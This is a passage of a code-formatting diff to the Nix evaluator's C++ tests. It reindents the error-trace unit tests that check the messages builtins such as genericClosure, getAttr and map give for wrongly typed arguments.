state.mkStorePathString(o.path, *v); auto d = state.coerceToSingleDerivedPath(noPos, *v, ""); - RC_ASSERT(SingleDerivedPath { o } == d); + RC_ASSERT(SingleDerivedPath{o} == d); } // TODO use DerivedPath::Built for parameter once it supports a single output // path only. RC_GTEST_FIXTURE_PROP( - DerivedPathExpressionTest, - prop_derived_path_built_placeholder_round_trip, - (const SingleDerivedPath::Built & b)) + DerivedPathExpressionTest, prop_derived_path_built_placeholder_round_trip, (const SingleDerivedPath::Built & b)) { /** * We set these in tests rather than the regular globals so we don't have @@ -49,7 +43,7 @@ RC_GTEST_FIXTURE_PROP( auto * v = state.allocValue(); state.mkOutputString(*v, b, std::nullopt, mockXpSettings); auto [d, _] = state.coerceToSingleDerivedPathUnchecked(noPos, *v, "", mockXpSettings); - RC_ASSERT(SingleDerivedPath { b } == d); + RC_ASSERT(SingleDerivedPath{b} == d); } RC_GTEST_FIXTURE_PROP( @@ -63,7 +57,7 @@ RC_GTEST_FIXTURE_PROP( auto * v = state.allocValue(); state.mkOutputString(*v, b, outPath, mockXpSettings); auto [d, _] = state.coerceToSingleDerivedPathUnchecked(noPos, *v, "", mockXpSettings); - RC_ASSERT(SingleDerivedPath { b } == d); + RC_ASSERT(SingleDerivedPath{b} == d); } #endif diff --git a/src/libexpr-tests/error_traces.cc b/src/libexpr-tests/error_traces.cc index a7522278d..2fd67da09 100644 --- a/src/libexpr-tests/error_traces.cc +++ b/src/libexpr-tests/error_traces.cc @@ -5,1374 +5,1358 @@ namespace nix { - using namespace testing; +using namespace testing; - // Testing eval of PrimOp's - class ErrorTraceTest : public LibExprTest { }; +// Testing eval of PrimOp's +class ErrorTraceTest : public LibExprTest +{}; - TEST_F(ErrorTraceTest, TraceBuilder) { - ASSERT_THROW( - state.error("puppy").debugThrow(), - EvalError - ); +TEST_F(ErrorTraceTest, TraceBuilder) +{ + ASSERT_THROW(state.error("puppy").debugThrow(), EvalError); - ASSERT_THROW( - state.error("puppy").withTrace(noPos, "doggy").debugThrow(), - EvalError - ); + ASSERT_THROW(state.error("puppy").withTrace(noPos, "doggy").debugThrow(), EvalError); - ASSERT_THROW( + ASSERT_THROW( + try { try { - try { - state.error("puppy").withTrace(noPos, "doggy").debugThrow(); - } catch (Error & e) { - e.addTrace(state.positions[noPos], "beans"); - throw; - } - } catch (BaseError & e) { - ASSERT_EQ(PrintToString(e.info().msg), - PrintToString(HintFmt("puppy"))); - auto trace = e.info().traces.rbegin(); - ASSERT_EQ(e.info().traces.size(), 2u); - ASSERT_EQ(PrintToString(trace->hint), - PrintToString(HintFmt("doggy"))); - trace++; - ASSERT_EQ(PrintToString(trace->hint), - PrintToString(HintFmt("beans"))); + state.error("puppy").withTrace(noPos, "doggy").debugThrow(); + } catch (Error & e) { + e.addTrace(state.positions[noPos], "beans"); throw; } - , EvalError - ); - } - - TEST_F(ErrorTraceTest, NestedThrows) { - try { - state.error("puppy").withTrace(noPos, "doggy").debugThrow(); } catch (BaseError & e) { - try { - state.error("beans").debugThrow(); - } catch (Error & e2) { - e.addTrace(state.positions[noPos], "beans2"); - //e2.addTrace(state.positions[noPos], "Something", ""); - ASSERT_TRUE(e.info().traces.size() == 2u); - ASSERT_TRUE(e2.info().traces.size() == 0u); - ASSERT_FALSE(&e.info() == &e2.info()); - } + ASSERT_EQ(PrintToString(e.info().msg), PrintToString(HintFmt("puppy"))); + auto trace = e.info().traces.rbegin(); + ASSERT_EQ(e.info().traces.size(), 2u); + ASSERT_EQ(PrintToString(trace->hint), PrintToString(HintFmt("doggy"))); + trace++; + ASSERT_EQ(PrintToString(trace->hint), PrintToString(HintFmt("beans"))); + throw; + }, + EvalError); +} + +TEST_F(ErrorTraceTest, NestedThrows) +{ + try { + state.error("puppy").withTrace(noPos, "doggy").debugThrow(); + } catch (BaseError & e) { + try { + state.error("beans").debugThrow(); + } catch (Error & e2) { + e.addTrace(state.positions[noPos], "beans2"); + // e2.addTrace(state.positions[noPos], "Something", ""); + ASSERT_TRUE(e.info().traces.size() == 2u); + ASSERT_TRUE(e2.info().traces.size() == 0u); + ASSERT_FALSE(&e.info() == &e2.info()); } } +} -#define ASSERT_TRACE1(args, type, message) \ - ASSERT_THROW( \ - std::string expr(args); \ - std::string name = expr.substr(0, expr.find(" ")); \ - try { \ - Value v = eval("builtins." args); \ - state.forceValueDeep(v); \ - } catch (BaseError & e) { \ - ASSERT_EQ(PrintToString(e.info().msg), \ - PrintToString(message)); \ - ASSERT_EQ(e.info().traces.size(), 1u) << "while testing " args << std::endl << e.what(); \ - auto trace = e.info().traces.rbegin(); \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(HintFmt("while calling the '%s' builtin", name))); \ - throw; \ - } \ - , type \ - ) +#define ASSERT_TRACE1(args, type, message) \ + ASSERT_THROW( \ + std::string expr(args); std::string name = expr.substr(0, expr.find(" ")); try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 1u) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + }, \ + type) -#define ASSERT_TRACE2(args, type, message, context) \ - ASSERT_THROW( \ - std::string expr(args); \ - std::string name = expr.substr(0, expr.find(" ")); \ - try { \ - Value v = eval("builtins." args); \ - state.forceValueDeep(v); \ - } catch (BaseError & e) { \ - ASSERT_EQ(PrintToString(e.info().msg), \ - PrintToString(message)); \ - ASSERT_EQ(e.info().traces.size(), 2u) << "while testing " args << std::endl << e.what(); \ - auto trace = e.info().traces.rbegin(); \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(context)); \ - ++trace; \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(HintFmt("while calling the '%s' builtin", name))); \ - throw; \ - } \ - , type \ - ) +#define ASSERT_TRACE2(args, type, message, context) \ + ASSERT_THROW( \ + std::string expr(args); std::string name = expr.substr(0, expr.find(" ")); try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 2u) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(context)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + }, \ + type) -#define ASSERT_TRACE3(args, type, message, context1, context2) \ - ASSERT_THROW( \ - std::string expr(args); \ - std::string name = expr.substr(0, expr.find(" ")); \ - try { \ - Value v = eval("builtins." args); \ - state.forceValueDeep(v); \ - } catch (BaseError & e) { \ - ASSERT_EQ(PrintToString(e.info().msg), \ - PrintToString(message)); \ - ASSERT_EQ(e.info().traces.size(), 3u) << "while testing " args << std::endl << e.what(); \ - auto trace = e.info().traces.rbegin(); \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(context1)); \ - ++trace; \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(context2)); \ - ++trace; \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(HintFmt("while calling the '%s' builtin", name))); \ - throw; \ - } \ - , type \ - ) +#define ASSERT_TRACE3(args, type, message, context1, context2) \ + ASSERT_THROW( \ + std::string expr(args); std::string name = expr.substr(0, expr.find(" ")); try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 3u) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(context1)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(context2)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + }, \ + type) -#define ASSERT_TRACE4(args, type, message, context1, context2, context3) \ - ASSERT_THROW( \ - std::string expr(args); \ - std::string name = expr.substr(0, expr.find(" ")); \ - try { \ - Value v = eval("builtins." args); \ - state.forceValueDeep(v); \ - } catch (BaseError & e) { \ - ASSERT_EQ(PrintToString(e.info().msg), \ - PrintToString(message)); \ - ASSERT_EQ(e.info().traces.size(), 4u) << "while testing " args << std::endl << e.what(); \ - auto trace = e.info().traces.rbegin(); \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(context1)); \ - ++trace; \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(context2)); \ - ++trace; \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(context3)); \ - ++trace; \ - ASSERT_EQ(PrintToString(trace->hint), \ - PrintToString(HintFmt("while calling the '%s' builtin", name))); \ - throw; \ - } \ - , type \ - ) +#define ASSERT_TRACE4(args, type, message, context1, context2, context3) \ + ASSERT_THROW( \ + std::string expr(args); std::string name = expr.substr(0, expr.find(" ")); try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 4u) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(context1)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(context2)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(context3)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + }, \ + type) // We assume that expr starts with "builtins.derivationStrict { name =", // otherwise the name attribute position (1, 29) would be invalid. -#define DERIVATION_TRACE_HINTFMT(name) \ - HintFmt("while evaluating derivation '%s'\n" \ - " whose name attribute is located at %s", \ - name, Pos(1, 29, Pos::String{.source = make_ref(expr)})) +#define DERIVATION_TRACE_HINTFMT(name) \ + HintFmt( \ + "while evaluating derivation '%s'\n" \ + " whose name attribute is located at %s", \ + name, \ + Pos(1, 29, Pos::String{.source = make_ref(expr)})) // To keep things simple, we also assume that derivation name is "foo". -#define ASSERT_DERIVATION_TRACE1(args, type, message) \ - ASSERT_TRACE2(args, type, message, DERIVATION_TRACE_HINTFMT("foo")) -#define ASSERT_DERIVATION_TRACE2(args, type, message, context) \ - ASSERT_TRACE3(args, type, message, context, DERIVATION_TRACE_HINTFMT("foo")) -#define ASSERT_DERIVATION_TRACE3(args, type, message, context1, context2) \ - ASSERT_TRACE4(args, type, message, context1, context2, DERIVATION_TRACE_HINTFMT("foo")) - - TEST_F(ErrorTraceTest, genericClosure) { - ASSERT_TRACE2("genericClosure 1", - TypeError, - HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.genericClosure")); - - ASSERT_TRACE2("genericClosure {}", - TypeError, - HintFmt("attribute '%s' missing", "startSet"), - HintFmt("in the attrset passed as argument to builtins.genericClosure")); - - ASSERT_TRACE2("genericClosure { startSet = 1; }", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the 'startSet' attribute passed as argument to builtins.genericClosure")); - - ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = true; }", - TypeError, - HintFmt("expected a function but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), - HintFmt("while evaluating the 'operator' attribute passed as argument to builtins.genericClosure")); - - ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: true; }", - TypeError, - HintFmt("expected a list but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the `operator` passed to builtins.genericClosure")); - - ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: [ true ]; }", - TypeError, - HintFmt("expected a set but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), - HintFmt("while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure")); - - ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: [ {} ]; }", - TypeError, - HintFmt("attribute '%s' missing", "key"), - HintFmt("in one of the attrsets generated by (or initially passed to) builtins.genericClosure")); - - ASSERT_TRACE2("genericClosure { startSet = [{ key = 1;}]; operator = item: [{ key = ''a''; }]; }", - EvalError, - HintFmt("cannot compare %s with %s", "a string", "an integer"), - HintFmt("while comparing the `key` attributes of two genericClosure elements")); - - ASSERT_TRACE2("genericClosure { startSet = [ true ]; operator = item: [{ key = ''a''; }]; }", - TypeError, - HintFmt("expected a set but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), - HintFmt("while evaluating one of the elements generated by (or initially passed to) builtins.genericClosure")); - - } - - - TEST_F(ErrorTraceTest, replaceStrings) { - ASSERT_TRACE2("replaceStrings 0 0 {}", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "0" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.replaceStrings")); - - ASSERT_TRACE2("replaceStrings [] 0 {}", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "0" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.replaceStrings")); - - ASSERT_TRACE1("replaceStrings [ 0 ] [] {}", - EvalError, - HintFmt("'from' and 'to' arguments passed to builtins.replaceStrings have different lengths")); - - ASSERT_TRACE2("replaceStrings [ 1 ] [ \"new\" ] {}", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating one of the strings to replace passed to builtins.replaceStrings")); - - ASSERT_TRACE2("replaceStrings [ \"oo\" ] [ true ] \"foo\"", - TypeError, - HintFmt("expected a string but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), - HintFmt("while evaluating one of the replacement strings passed to builtins.replaceStrings")); - - ASSERT_TRACE2("replaceStrings [ \"old\" ] [ \"new\" ] {}", - TypeError, - HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the third argument passed to builtins.replaceStrings")); - - } - - - TEST_F(ErrorTraceTest, scopedImport) { - } - - - TEST_F(ErrorTraceTest, import) { - } - - - TEST_F(ErrorTraceTest, typeOf) { - } - - - TEST_F(ErrorTraceTest, isNull) { - } - - - TEST_F(ErrorTraceTest, isFunction) { - } - - - TEST_F(ErrorTraceTest, isInt) { - } - - - TEST_F(ErrorTraceTest, isFloat) { - } - - - TEST_F(ErrorTraceTest, isString) { - } - - - TEST_F(ErrorTraceTest, isBool) { - } - - - TEST_F(ErrorTraceTest, isPath) { - } - - - TEST_F(ErrorTraceTest, break) { - } - - - TEST_F(ErrorTraceTest, abort) { - } - - - TEST_F(ErrorTraceTest, throw) { - } - - - TEST_F(ErrorTraceTest, addErrorContext) { - } - - - TEST_F(ErrorTraceTest, ceil) { - ASSERT_TRACE2("ceil \"foo\"", - TypeError, - HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.ceil")); - - } - - - TEST_F(ErrorTraceTest, floor) { - ASSERT_TRACE2("floor \"foo\"", - TypeError, - HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.floor")); - - } - - - TEST_F(ErrorTraceTest, tryEval) { - } - - - TEST_F(ErrorTraceTest, getEnv) { - ASSERT_TRACE2("getEnv [ ]", - TypeError, - HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.getEnv")); - - } - - - TEST_F(ErrorTraceTest, seq) { - } - - - TEST_F(ErrorTraceTest, deepSeq) { - } - - - TEST_F(ErrorTraceTest, trace) { - } - - - TEST_F(ErrorTraceTest, placeholder) { - ASSERT_TRACE2("placeholder []", - TypeError, - HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.placeholder")); - - } - - - TEST_F(ErrorTraceTest, toPath) { - ASSERT_TRACE2("toPath []", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.toPath")); - - ASSERT_TRACE2("toPath \"foo\"", - EvalError, - HintFmt("string '%s' doesn't represent an absolute path", "foo"), - HintFmt("while evaluating the first argument passed to builtins.toPath")); - - } - - - TEST_F(ErrorTraceTest, storePath) { - ASSERT_TRACE2("storePath true", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to 'builtins.storePath'")); - - } - - - TEST_F(ErrorTraceTest, pathExists) { - ASSERT_TRACE2("pathExists []", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), - HintFmt("while realising the context of a path")); - - ASSERT_TRACE2("pathExists \"zorglub\"", - EvalError, - HintFmt("string '%s' doesn't represent an absolute path", "zorglub"), - HintFmt("while realising the context of a path")); - - } - - - TEST_F(ErrorTraceTest, baseNameOf) { - ASSERT_TRACE2("baseNameOf []", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.baseNameOf")); - - } - - - TEST_F(ErrorTraceTest, dirOf) { - } - - - TEST_F(ErrorTraceTest, readFile) { - } - - - TEST_F(ErrorTraceTest, findFile) { - } - - - TEST_F(ErrorTraceTest, hashFile) { - } - - - TEST_F(ErrorTraceTest, readDir) { - } - - - TEST_F(ErrorTraceTest, toXML) { - } - - - TEST_F(ErrorTraceTest, toJSON) { - } - - - TEST_F(ErrorTraceTest, fromJSON) { - } - - - TEST_F(ErrorTraceTest, toFile) { - } - - - TEST_F(ErrorTraceTest, filterSource) { - ASSERT_TRACE2("filterSource [] []", - TypeError, - HintFmt("cannot coerce %s to a string: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'")); - - ASSERT_TRACE2("filterSource [] \"foo\"", - EvalError, - HintFmt("string '%s' doesn't represent an absolute path", "foo"), - HintFmt("while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'")); - - ASSERT_TRACE2("filterSource [] ./.", - TypeError, - HintFmt("expected a function but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.filterSource")); - - // Usupported by store "dummy" - - // ASSERT_TRACE2("filterSource (_: 1) ./.", - // TypeError, - // HintFmt("attempt to call something which is not a function but %s", "an integer"), - // HintFmt("while adding path '/home/layus/projects/nix'")); - - // ASSERT_TRACE2("filterSource (_: _: 1) ./.", - // TypeError, - // HintFmt("expected a Boolean but found %s: %s", "an integer", "1"), - // HintFmt("while evaluating the return value of the path filter function")); - - } - - - TEST_F(ErrorTraceTest, path) { - } - - - TEST_F(ErrorTraceTest, attrNames) { - ASSERT_TRACE2("attrNames []", - TypeError, - HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the argument passed to builtins.attrNames")); - - } - - - TEST_F(ErrorTraceTest, attrValues) { - ASSERT_TRACE2("attrValues []", - TypeError, - HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the argument passed to builtins.attrValues")); - - } - - - TEST_F(ErrorTraceTest, getAttr) { - ASSERT_TRACE2("getAttr [] []", - TypeError, - HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.getAttr")); - - ASSERT_TRACE2("getAttr \"foo\" []", - TypeError, - HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the second argument passed to builtins.getAttr")); - - ASSERT_TRACE2("getAttr \"foo\" {}", - TypeError, - HintFmt("attribute '%s' missing", "foo"), - HintFmt("in the attribute set under consideration")); - - } - - - TEST_F(ErrorTraceTest, unsafeGetAttrPos) { - } - - - TEST_F(ErrorTraceTest, hasAttr) { - ASSERT_TRACE2("hasAttr [] []", - TypeError, - HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.hasAttr")); - - ASSERT_TRACE2("hasAttr \"foo\" []", - TypeError, - HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the second argument passed to builtins.hasAttr")); - - } - - - TEST_F(ErrorTraceTest, isAttrs) { - } - - - TEST_F(ErrorTraceTest, removeAttrs) { - ASSERT_TRACE2("removeAttrs \"\" \"\"", - TypeError, - HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); - - ASSERT_TRACE2("removeAttrs \"\" [ 1 ]", - TypeError, - HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); - - ASSERT_TRACE2("removeAttrs \"\" [ \"1\" ]", - TypeError, - HintFmt("expected a set but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.removeAttrs")); - - } - - - TEST_F(ErrorTraceTest, listToAttrs) { - ASSERT_TRACE2("listToAttrs 1", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the argument passed to builtins.listToAttrs")); - - ASSERT_TRACE2("listToAttrs [ 1 ]", - TypeError, - HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating an element of the list passed to builtins.listToAttrs")); - - ASSERT_TRACE2("listToAttrs [ {} ]", - TypeError, - HintFmt("attribute '%s' missing", "name"), - HintFmt("in a {name=...; value=...;} pair")); - - ASSERT_TRACE2("listToAttrs [ { name = 1; } ]", - TypeError, - HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the `name` attribute of an element of the list passed to builtins.listToAttrs")); - - ASSERT_TRACE2("listToAttrs [ { name = \"foo\"; } ]", - TypeError, - HintFmt("attribute '%s' missing", "value"), - HintFmt("in a {name=...; value=...;} pair")); - - } - - - TEST_F(ErrorTraceTest, intersectAttrs) { - ASSERT_TRACE2("intersectAttrs [] []", - TypeError, - HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.intersectAttrs")); - - ASSERT_TRACE2("intersectAttrs {} []", - TypeError, - HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the second argument passed to builtins.intersectAttrs")); - - } - - - TEST_F(ErrorTraceTest, catAttrs) { - ASSERT_TRACE2("catAttrs [] {}", - TypeError, - HintFmt("expected a string but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.catAttrs")); - - ASSERT_TRACE2("catAttrs \"foo\" {}", - TypeError, - HintFmt("expected a list but found %s: %s", "a set", Uncolored("{ }")), - HintFmt("while evaluating the second argument passed to builtins.catAttrs")); - - ASSERT_TRACE2("catAttrs \"foo\" [ 1 ]", - TypeError, - HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating an element in the list passed as second argument to builtins.catAttrs")); - - ASSERT_TRACE2("catAttrs \"foo\" [ { foo = 1; } 1 { bar = 5;} ]", - TypeError, - HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating an element in the list passed as second argument to builtins.catAttrs")); - - } - - - TEST_F(ErrorTraceTest, functionArgs) { - ASSERT_TRACE1("functionArgs {}", - TypeError, - HintFmt("'functionArgs' requires a function")); - - } - - - TEST_F(ErrorTraceTest, mapAttrs) { - ASSERT_TRACE2("mapAttrs [] []", - TypeError, - HintFmt("expected a set but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the second argument passed to builtins.mapAttrs")); - - // XXX: defered - // ASSERT_TRACE2("mapAttrs \"\" { foo.bar = 1; }", - // TypeError, - // HintFmt("attempt to call something which is not a function but %s", "a string"), - // HintFmt("while evaluating the attribute 'foo'")); - - // ASSERT_TRACE2("mapAttrs (x: x + \"1\") { foo.bar = 1; }", - // TypeError, - // HintFmt("attempt to call something which is not a function but %s", "a string"), - // HintFmt("while evaluating the attribute 'foo'")); - - // ASSERT_TRACE2("mapAttrs (x: y: x + 1) { foo.bar = 1; }", - // TypeError, - // HintFmt("cannot coerce %s to a string", "an integer"), - // HintFmt("while evaluating a path segment")); - - } - - - TEST_F(ErrorTraceTest, zipAttrsWith) { - ASSERT_TRACE2("zipAttrsWith [] [ 1 ]", - TypeError, - HintFmt("expected a function but found %s: %s", "a list", Uncolored("[ ]")), - HintFmt("while evaluating the first argument passed to builtins.zipAttrsWith")); - - ASSERT_TRACE2("zipAttrsWith (_: 1) [ 1 ]", - TypeError, - HintFmt("expected a set but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating a value of the list passed as second argument to builtins.zipAttrsWith")); - - // XXX: How to properly tell that the fucntion takes two arguments ? - // The same question also applies to sort, and maybe others. - // Due to lazyness, we only create a thunk, and it fails later on. - // ASSERT_TRACE2("zipAttrsWith (_: 1) [ { foo = 1; } ]", - // TypeError, - // HintFmt("attempt to call something which is not a function but %s", "an integer"), - // HintFmt("while evaluating the attribute 'foo'")); - - // XXX: Also deferred deeply - // ASSERT_TRACE2("zipAttrsWith (a: b: a + b) [ { foo = 1; } { foo = 2; } ]", - // TypeError, - // HintFmt("cannot coerce %s to a string", "a list"), - // HintFmt("while evaluating a path segment")); - - } - - - TEST_F(ErrorTraceTest, isList) { - } - - - TEST_F(ErrorTraceTest, elemAt) { - ASSERT_TRACE2("elemAt \"foo\" (-1)", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to 'builtins.elemAt'")); - - ASSERT_TRACE1("elemAt [] (-1)", - Error, - HintFmt("'builtins.elemAt' called with index %d on a list of size %d", -1, 0)); - - ASSERT_TRACE1("elemAt [\"foo\"] 3", - Error, - HintFmt("'builtins.elemAt' called with index %d on a list of size %d", 3, 1)); - - } - - - TEST_F(ErrorTraceTest, head) { - ASSERT_TRACE2("head 1", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to 'builtins.head'")); - - ASSERT_TRACE1("head []", - Error, - HintFmt("'builtins.head' called on an empty list")); - - } - - - TEST_F(ErrorTraceTest, tail) { - ASSERT_TRACE2("tail 1", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to 'builtins.tail'")); - - ASSERT_TRACE1("tail []", - Error, - HintFmt("'builtins.tail' called on an empty list")); - - } - - - TEST_F(ErrorTraceTest, map) { - ASSERT_TRACE2("map 1 \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.map")); - - ASSERT_TRACE2("map 1 [ 1 ]", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.map")); - - } - - - TEST_F(ErrorTraceTest, filter) { - ASSERT_TRACE2("filter 1 \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.filter")); - - ASSERT_TRACE2("filter 1 [ \"foo\" ]", - TypeError, - HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.filter")); - - ASSERT_TRACE2("filter (_: 5) [ \"foo\" ]", - TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "5" ANSI_NORMAL)), - HintFmt("while evaluating the return value of the filtering function passed to builtins.filter")); - - } - - - TEST_F(ErrorTraceTest, elem) { - ASSERT_TRACE2("elem 1 \"foo\"", - TypeError, - HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), - HintFmt("while evaluating the second argument passed to builtins.elem")); - - } - - - TEST_F(ErrorTraceTest, concatLists) { - ASSERT_TRACE2("concatLists 1", - TypeError, - HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), - HintFmt("while evaluating the first argument passed to builtins.concatLists")); - - ASSERT_TRACE2("concatLists [ 1 ]", - TypeError, - 